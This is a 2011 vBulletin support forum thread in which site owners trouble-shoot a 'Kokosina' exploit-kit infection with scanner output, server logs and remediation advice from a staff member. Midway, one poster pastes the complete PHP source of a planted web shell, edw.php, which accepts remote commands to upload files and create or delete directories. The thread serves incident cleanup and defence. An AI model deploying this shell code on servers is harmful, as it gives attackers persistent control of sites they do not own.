Kokosina.in - Anyone Else Getting This?

[Wayne Luke]

Stupid question here but where do I go to change my admin password?

Either by clicking settings on the front end and then clicking "Change Email/Password" or by Users -> Search For Users in the Admin CP. Search for your username and then enter the new password in the password field.

Ideally though, you should have your user ID marked as uneditable in the config.php so you'd have to do it in the front-end.

[Steve038]

Many thanks for your help Wayne.

[ramf02]

A member contacted me and reported that they were receiving the following message when accessing my site: Kokosina Attack: Exploit Kit Variant 11. About a week prior to this, I installed the facebook plugin which was up and running. Since receiving the alert, I closed the board and all plugins until I have this totally fixed. I also upgraded from version 4.18 to 4.19. I ran the diagnostics for suspect file versions and received numerous unknown files before the upgrade. I'm still receiving the (same) following unknown files:

bbhfi.htm	File not recognized as part of vBulletin
forum.php	File not recognized as part of vBulletin
index.php	File does not contain expected contents
receiver.php

album.php	File not recognized as part of vBulletin
backup.php

vbulletin-read-marker.js	File not recognized as part of vBulletin
vbulletin-threadbit.js	File not recognized as part of vBulletin
vbulletin_ajax_namesugg.js	File not recognized as part of vBulletin
vbulletin_ajax_reputation.js	File not recognized as part of vBulletin
vbulletin_ajax_tagsugg.js	File not recognized as part of vBulletin
vbulletin_ajax_threadslist.js	File not recognized as part of vBulletin
vbulletin_global.js

connection.js	File not recognized as part of vBulletin
dev-readme.txt	File not recognized as part of vBulletin
yahoo-dom-event.js

adminfunctions_backup.php	File not recognized as part of vBulletin
class_dm_picture.php	File not recognized as part of vBulletin
class_editor_override.php	File not recognized as part of vBulletin
config.php.new.php	File not recognized as part of vBulletin
functions_regimage.php	File not recognized as part of vBulletin
functions_wysiwyg.php

facebook_desktop.php	File not recognized as part of vBulletin
facebook_mobile.php	File not recognized as part of vBulletin
facebookapi_php5_restlib.php

pages1.html	File not recognized as part of vBulletin
pages2.html	File not recognized as part of vBulletin
pages3.html	File not recognized as part of vBulletin
pages4.html	File not recognized as part of vBulletin
pages5.html	File not recognized as part of vBulletin
Scanned 20 files

authenticate.php	File not recognized as part of vBulletin
finalupgrade.php	File not recognized as part of vBulletin
install_language_en.php	File not recognized as part of vBulletin
installcore.php	File not recognized as part of vBulletin
installsteps.php	File not recognized as part of vBulletin
upgrade_300.php	File not recognized as part of vBulletin
upgrade_300b3.php	File not recognized as part of vBulletin
upgrade_300b4.php	File not recognized as part of vBulletin
upgrade_300b5.php	File not recognized as part of vBulletin
upgrade_300b6.php	File not recognized as part of vBulletin
upgrade_300b7.php	File not recognized as part of vBulletin
upgrade_300g.php	File not recognized as part of vBulletin
upgrade_300rc1.php	File not recognized as part of vBulletin
upgrade_300rc2.php	File not recognized as part of vBulletin
upgrade_300rc3.php	File not recognized as part of vBulletin
upgrade_300rc4.php	File not recognized as part of vBulletin
upgrade_301.php	File not recognized as part of vBulletin
upgrade_3010.php	File not recognized as part of vBulletin
upgrade_3011.php	File not recognized as part of vBulletin
upgrade_3012.php	File not recognized as part of vBulletin
upgrade_3013.php	File not recognized as part of vBulletin
upgrade_3014.php	File not recognized as part of vBulletin
upgrade_3015.php	File not recognized as part of vBulletin
upgrade_302.php	File not recognized as part of vBulletin
upgrade_303.php	File not recognized as part of vBulletin
upgrade_304.php	File not recognized as part of vBulletin
upgrade_305.php	File not recognized as part of vBulletin
upgrade_306.php	File not recognized as part of vBulletin
upgrade_307.php	File not recognized as part of vBulletin
upgrade_308.php	File not recognized as part of vBulletin
upgrade_309.php	File not recognized as part of vBulletin
upgrade_350.php	File not recognized as part of vBulletin
upgrade_350b1.php	File not recognized as part of vBulletin
upgrade_350b2.php	File not recognized as part of vBulletin
upgrade_350b3.php	File not recognized as part of vBulletin
upgrade_350b4.php	File not recognized as part of vBulletin
upgrade_350rc1.php	File not recognized as part of vBulletin
upgrade_350rc2.php	File not recognized as part of vBulletin
upgrade_350rc3.php	File not recognized as part of vBulletin
upgrade_351.php	File not recognized as part of vBulletin
upgrade_352.php	File not recognized as part of vBulletin
upgrade_353.php	File not recognized as part of vBulletin
upgrade_354.php	File not recognized as part of vBulletin
upgrade_355.php	File not recognized as part of vBulletin
upgrade_360.php	File not recognized as part of vBulletin
upgrade_360b1.php	File not recognized as part of vBulletin
upgrade_360b2.php	File not recognized as part of vBulletin
upgrade_360b3.php	File not recognized as part of vBulletin
upgrade_360b4.php	File not recognized as part of vBulletin
upgrade_360rc1.php	File not recognized as part of vBulletin
upgrade_360rc2.php	File not recognized as part of vBulletin
upgrade_360rc3.php	File not recognized as part of vBulletin
upgrade_361.php	File not recognized as part of vBulletin
upgrade_362.php	File not recognized as part of vBulletin
upgrade_363.php	File not recognized as part of vBulletin
upgrade_364.php	File not recognized as part of vBulletin
upgrade_365.php	File not recognized as part of vBulletin
upgrade_366.php	File not recognized as part of vBulletin
upgrade_367.php	File not recognized as part of vBulletin
upgrade_368.php	File not recognized as part of vBulletin
upgrade_370.php	File not recognized as part of vBulletin
upgrade_370b2.php	File not recognized as part of vBulletin
upgrade_370b3.php	File not recognized as part of vBulletin
upgrade_370b4.php	File not recognized as part of vBulletin
upgrade_370b5.php	File not recognized as part of vBulletin
upgrade_370b6.php	File not recognized as part of vBulletin
upgrade_370rc1.php	File not recognized as part of vBulletin
upgrade_370rc2.php	File not recognized as part of vBulletin
upgrade_370rc3.php	File not recognized as part of vBulletin
upgrade_370rc4.php	File not recognized as part of vBulletin
upgrade_371.php	File not recognized as part of vBulletin
upgrade_372.php	File not recognized as part of vBulletin
upgrade_380.php	File not recognized as part of vBulletin
upgrade_380a2.php	File not recognized as part of vBulletin
upgrade_380b1.php	File not recognized as part of vBulletin
upgrade_380b2.php	File not recognized as part of vBulletin
upgrade_380b3.php	File not recognized as part of vBulletin
upgrade_380b4.php	File not recognized as part of vBulletin
upgrade_380rc1.php	File not recognized as part of vBulletin
upgrade_380rc2.php	File not recognized as part of vBulletin
upgrade_381.php	File not recognized as part of vBulletin
upgrade_382.php	File not recognized as part of vBulletin
upgrade_383.php	File not recognized as part of vBulletin
upgrade_384.php	File not recognized as part of vBulletin
upgrade_400.php	File not recognized as part of vBulletin
upgrade_400a1.php	File not recognized as part of vBulletin
upgrade_400a1_indexes.php	File not recognized as part of vBulletin
upgrade_400a2.php	File not recognized as part of vBulletin
upgrade_400a3.php	File not recognized as part of vBulletin
upgrade_400a4.php	File not recognized as part of vBulletin
upgrade_400a5.php	File not recognized as part of vBulletin
upgrade_400a6.php	File not recognized as part of vBulletin
upgrade_400b1.php	File not recognized as part of vBulletin
upgrade_400b2.php	File not recognized as part of vBulletin
upgrade_400b3.php	File not recognized as part of vBulletin
upgrade_400b4.php	File not recognized as part of vBulletin
upgrade_400b5.php	File not recognized as part of vBulletin
upgrade_400rc1.php	File not recognized as part of vBulletin
upgrade_400rc2.php	File not recognized as part of vBulletin
upgrade_400rc3.php	File not recognized as part of vBulletin
upgrade_400rc4.php	File not recognized as part of vBulletin
upgrade_400rc5.php	File not recognized as part of vBulletin
upgrade_401.php	File not recognized as part of vBulletin
upgrade_402.php	File not recognized as part of vBulletin
upgrade_403.php	File not recognized as part of vBulletin
upgrade_language_en.php	File not recognized as part of vBulletin
upgradecore.php	File not recognized as part of vBulletin
upgrademain.php

Which, if any of these, do I need to delete?

I contacted my hosting company and they provided me with the following info:
Unfortunately the logs show a gap in the time-period. This file is a malicious shell that was discovered in the account:
File: `/home/xxxx/public_html/forums/coms.php'
Size: 23342 Blocks: 48 IO Block: 4096 regular file
Device: 811h/2065d Inode: 39474339 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 694/ xxxx) Gid: ( 693/ xxxx)
Access: 2011-12-19 11:19:53.000000000 -0600
Modify: 2011-11-23 02:32:59.000000000 -0600
Change: 2011-12-19 13:19:24.000000000 -0600

The following are the two log entries that straddle the time-stamp for the uploaded content. The file "may" update its own time-stamps which masks the file origin.

79.143.179.181 - - [19/Dec/2011:11:14:27 -0600] "GET /the-12-cent-vs-the-65-million-spiderman HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/200
90824 Firefox/3.5.3 GTB5"
184.172.204.131 - - [19/Dec/2011:13:22:45 -0600] "GET / HTTP/1.1" 200 68969 "http://richardbey.org/" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"
After our investigation we removed the malicious content from the account and recommend upgrading all installations/scripts on the account to help prevent future exploitation

So, my questions are the following:
What more do I need to do?
Does the facebook ap have anything to do with this virus infecting my site? I installed it just before I got the virus. Is it just coincidental is there a valid correlation?
How did I get this infection in the first place?
What can I do to prevent it in the future?

Thanks,
Frank

[Wayne Luke]

Which, if any of these, do I need to delete?

All of them except forum.php and index.php. bbhfi.htm is probably an exploit script. The rest are old files that are no longer used or unknowns.

I contacted my hosting company and they provided me with the following info:
Unfortunately the logs show a gap in the time-period. This file is a malicious shell that was discovered in the account:
File: `/home/xxxx/public_html/forums/coms.php'
Size: 23342 Blocks: 48 IO Block: 4096 regular file
Device: 811h/2065d Inode: 39474339 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 694/ xxxx) Gid: ( 693/ xxxx)
Access: 2011-12-19 11:19:53.000000000 -0600
Modify: 2011-11-23 02:32:59.000000000 -0600
Change: 2011-12-19 13:19:24.000000000 -0600

The following are the two log entries that straddle the time-stamp for the uploaded content. The file "may" update its own time-stamps which masks the file origin.

79.143.179.181 - - [19/Dec/2011:11:14:27 -0600] "GET /the-12-cent-vs-the-65-million-spiderman HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/200
90824 Firefox/3.5.3 GTB5"
184.172.204.131 - - [19/Dec/2011:13:22:45 -0600] "GET / HTTP/1.1" 200 68969 "http://richardbey.org/" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13"
After our investigation we removed the malicious content from the account and recommend upgrading all installations/scripts on the account to help prevent future exploitation

Yep... coms.php is a bad file as well and not part of vBulletin.

So, my questions are the following:
What more do I need to do?
Does the facebook ap have anything to do with this virus infecting my site? I installed it just before I got the virus. Is it just coincidental is there a valid correlation?

The vBulletin Facebook App? Or the Facebook connect feature in vBulletin do not contribute to this virus issue.

How did I get this infection in the first place?

Most likely cause is the searchpref exploit through the groups functionality. This was patched a while back. However the first patch didn't remove saved search exploits and a second patch was released for this. Further changes were made to prevent this type of exploit in future versions. The exploit relied on getting a database error that contained the hashed password of an administrator user.

What can I do to prevent it in the future?

Keep your vBulletin up to date. Use SSL protocols to access secure areas your server via FTP, Email and HTTP.
Place .htaccess protections on the admincp, modcp, install, includes, vb, and packages directory to provide a second layer of security and prevent unauthorized access.
Change your AdminCP password to something difficult to remember. Mine is actually a hash of a hash, before I enter it into vBulletin to be hashed again.

[ramf02]

All of them except forum.php and index.php. bbhfi.htm is probably an exploit script. The rest are old files that are no longer used or unknowns.

Thanks for the quick response!

So what do I do about forum.php and index.php? Are they corrupt?

The vBulletin Facebook App? Or the Facebook connect feature in vBulletin do not contribute to this virus issue.

I am (was) using both the facebook connect feature and facebook app. I only had the app up and running for a few days before I was alerted to this issue.

Keep your vBulletin up to date. Use SSL protocols to access secure areas your server via FTP, Email and HTTP.

So I need to use SSL when uploading stuff via FTP? How do I do this? Should I be using the FTP with TLS/SSL connection option in fetch? So when I access the control panel from now on, should i be going to the https://www.richardbey.org/.... address?

Place .htaccess protections on the admincp, modcp, install, includes, vb, and packages directory to provide a second layer of security and prevent unauthorized access.

I have no clue what this means or how to do it. Can you point me in the right direction to figure this out?

Change your AdminCP password to something difficult to remember. Mine is actually a hash of a hash, before I enter it into vBulletin to be hashed again.

My password is very difficult to remember.

Thanks for the help!!
Frank

[Wayne Luke]

Thanks for the quick response!

So what do I do about forum.php and index.php? Are they corrupt?

Probably not. They are false positives with the Forum only edition in some versions of vBulletin.

I am (was) using both the facebook connect feature and facebook app. I only had the app up and running for a few days before I was alerted to this issue.

Purely coincedence. I have looked at sites that got infected but used neither of these features.

So I need to use SSL when uploading stuff via FTP? How do I do this? Should I be using the FTP with TLS/SSL connection option in fetch? So when I access the control panel from now on, should i be going to the https://www.richardbey.org/.... address?

For FTP, yes. Either FTP with TLS/SSL or FTP over SSH. Ask your host which is preferred.

For the AdminCP, it would be best but not really required and could cause problems on your main site unless it is under SSL as well.

I have no clue what this means or how to do it. Can you point me in the right direction to figure this out?

There are many tutorials on .htaccess available on the web. Here is one: http://www.yorku.ca/computng/student.../htaccess.html

[RobHW]

I've been infected by this as well. I've found this thread very helpful. A couple of questions. [1] Is there an easy way to find all of the .htaccess files in my ftp account? I think this could be important since I understand that a sub-directory .htaccess file can override a higher level .htaccess file. [2] Is there an easy way to tell which VBulletin templates have been customized? It appears that the infection modifies templates. I have not customized any myself, but the footer template described itself as customized when I went to edit the kokosina.in reference out of it.

Thanks.

[Wayne Luke]

I've been infected by this as well. I've found this thread very helpful. A couple of questions. [1] Is there an easy way to find all of the .htaccess files in my ftp account? I think this could be important since I understand that a sub-directory .htaccess file can override a higher level .htaccess file. [2] Is there an easy way to tell which VBulletin templates have been customized? It appears that the infection modifies templates, but I don't have any that are customized. The footer template described itself as customized when I went to edit the kokosina.in reference out of it.

Thanks.

1) Not usually in FTP as there is no find command available. You would have to use commands on the command line or look manually.

2) The names of customized templates will show in a reddish-orange if they are customized in that style or yellow if they are customized in a parent style. This is using the default AdminCP style at least. There should be a color key on the right.

[ramf02]

While deleting my files, I came across a directory that didn't seem to get checked: includes/facebook/jsonwrapper. The date is the same date as all the files I'm deleting. Should this folder exist? Same with install/cmsdefaultdata folder, and there is an index.html file in the /install folder with the date of all the suspect files. Thanks!

[mmavipc]

This happened on my 4.1.9 board, the only file that the checker found without default contents was class_core.php which I modified for cloudflare.

File found: edw.php
contents

<?php






function LoadExtension($ext)


{


    $lib = $ext.'.so';


    if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')


        $lib = 'php_'.$ext.'.dll';


    


    if(!extension_loaded($ext))


    {


        if(!dl($lib))


            return FALSE;


    }


    return TRUE;


}






function Check25Port()


{


    $res = TRUE;


    $s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);


    if(@socket_connect($s, 'mxs.mail.ru', 25) == FALSE)


        $res = FALSE;


    socket_close($s);


    return $res;


}






function Check()


{


    // Version >= 4.1.0


    if(strnatcmp(phpversion(), '4.1.0') < 0)


        return FALSE;


    // Check for safe mode


    //if(ini_get('safe_mode'))


    //    return FALSE;


    // Check 'sockets' ext


    if(!LoadExtension('sockets'))


        return FALSE;


    // Check 25 port


    if(!Check25Port())


        return FALSE;        






    return TRUE;


}






function RemoveDir($dir)


{


  $res = FALSE;


  if(is_dir($dir))


  {


    $objects = scandir($dir);


    foreach($objects as $object)


    {


      if($object != "." && $object != "..")


      {


        if(filetype($dir."/".$object) == "dir")


          RemoveDir($dir."/".$object);


        else


          unlink($dir."/".$object);


      }


    }


    reset($objects);


    $res = rmdir($dir);


  }


  return $res;


}






function Upload($dir)


{


  $res = move_uploaded_file($_FILES["file"]["tmp_name"], $dir.'/'.$_FILES["file"]["name"]);


  return $res;


}










function Work()


{


  $type = $_POST['type'];


  $res  = FALSE;


  


  echo('EDW');


  if($type == 'check')


  {


    $res  = Check();


  }


  else if($type == 'mkdir')


  {


    $dir  = $_POST['dir'];


    $res  = mkdir($dir);


  }


  else if($type == 'rmdir')


  {


    $dir  = $_POST['dir'];


    $res  = RemoveDir($dir);


  }


  else if($type == 'upload')


  {


    $dir  = $_POST['dir'];


    $res  = Upload($dir);


  }






  if($res)


    echo('OK');


  else


    echo('FAILED');


}






Work();






?>

Here's the log of it being created
178.16.22.59 - - [08/Dec/2011:02:27:26 -0700] "POST /forum/commons.php HTTP/1.1" 200 89892 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"
178.16.22.59 - - [08/Dec/2011:02:27:43 -0700] "POST /forum/commons.php HTTP/1.1" 200 10162 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"
178.16.22.59 - - [08/Dec/2011:02:27:44 -0700] "POST /forum/edw.php HTTP/1.1" 200 335 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"

I was running an old VB version back then.

[Wayne Luke]

While deleting my files, I came across a directory that didn't seem to get checked: includes/facebook/jsonwrapper. The date is the same date as all the files I'm deleting. Should this folder exist? Same with install/cmsdefaultdata folder, and there is an index.html file in the /install folder with the date of all the suspect files. Thanks!

There is no directory jsonwrapper in vBulletin. The /includes/facebook/ directory is valid though.

Most directories include an index.html file. These are 0 byte empty files and put there just in case a web server has file indexing turned on for some reason. They prevent lookie-loos from seeing the contents of the individual directories.

[Wayne Luke]

This happened on my 4.1.9 board, the only file that the checker found without default contents was class_core.php which I modified for cloudflare.

File found: edw.php
Here's the log of it being created
178.16.22.59 - - [08/Dec/2011:02:27:26 -0700] "POST /forum/commons.php HTTP/1.1" 200 89892 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"
178.16.22.59 - - [08/Dec/2011:02:27:43 -0700] "POST /forum/commons.php HTTP/1.1" 200 10162 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"
178.16.22.59 - - [08/Dec/2011:02:27:44 -0700] "POST /forum/edw.php HTTP/1.1" 200 335 "-" "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)"

I was running an old VB version back then.

Most likely your source of infection and why we recommend customers keep their software up to date.

[ramf02]

So what should I do about the jsonwrapper directory? Delete it?

How about the cmsdefaultdata folder? I did some digging in it and it has a ton of files. It has a subdirectory with my admin name and files such as jimm-na-russkom.html, jimm-nastroyka-nokia-6233.html, and aska-na-telefon-samsung-gt-s5230.html. What the heck are these? Parts of the virus?? Most of the files in the cmsdefaultdata folder have the same dates as the files I deleted from earlier which leads me to believe they're part of the virus. There's also a ton of .jpgs and.pngs in the attachments subdirectory (same date as previously cleared out files) with names of 37236-37647. If these are still part of the virus then why didn't the file scanner find these? Is it because they're in directories that vbulletin isn't even looking for?


Thanks,
Frank

[Wayne Luke]

Like I said, the jsonwrapper folder isn't a valid folder in 4.1.9 so you can probably delete. Don't know if it is was added by an addon though.

The cmsdefaultdata folder contains the information that is optionally imported when you install/upgrade the Publishing Suite. If you delete it, it won't hurt anything but it is a valid folder.

[ramf02]

ok thanks. the names of those html files seemed strange/foreign sounding to me, so i figured i'd ask.